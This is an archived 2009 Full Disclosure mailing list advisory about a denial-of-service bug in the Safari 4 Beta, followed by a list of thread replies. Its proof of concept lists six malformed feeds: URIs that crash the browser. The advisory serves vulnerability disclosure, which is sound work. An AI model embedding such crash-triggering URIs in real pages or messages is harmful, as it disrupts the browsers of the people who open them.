Full Disclosure mailing list archives
Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability
From: Trancer <mtrancer () gmail com>
Date: Thu, 26 Feb 2009 01:37:32 +0200
Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability Date: Feb 25 2009 Class: Input Validation Error Local: Yes Remote: Yes Vulnerable Versions: * Apple Safari 4 (528.16) Public Beta Note: MacOS X versions not tested. Description: Apple Safari is prone to a denial-of-service vulnerability, caused by a NULL pointer defernce bug, because it fails to adequately sanitize user-supplied input within afeeds: URI. Attackers can exploit this issue to cause denial-of-service conditions on a users computer and crash the Safari process. Proof-of-Concept: feeds:%&www.rec-sec.com/feed/ feeds:{&www.rec-sec.com/feed/ feeds:}&www.rec-sec.com/feed/ feeds:^&www.rec-sec.com/feed/ feeds:`&www.rec-sec.com/feed/ feeds:|&www.rec-sec.com/feed/ Any feeds: URI containing one of these characters will cause a denial-of-service condition. Disclosure: Vendor has been informed. Solution: No solution. Credit: Trancer http://www.rec-sec.com -- Trancer 0nly Human. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Trancer (Feb 25)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Jubei Trippataka (Feb 25)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Pete Licoln (Feb 25)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Thierry Zoller (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability jf (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Trancer (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Jubei Trippataka (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Jeremy Brown (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability jf (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability neeko (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Jubei Trippataka (Feb 26)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Pete Licoln (Feb 25)
- Re: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of, Service Vulnerability Jubei Trippataka (Feb 25)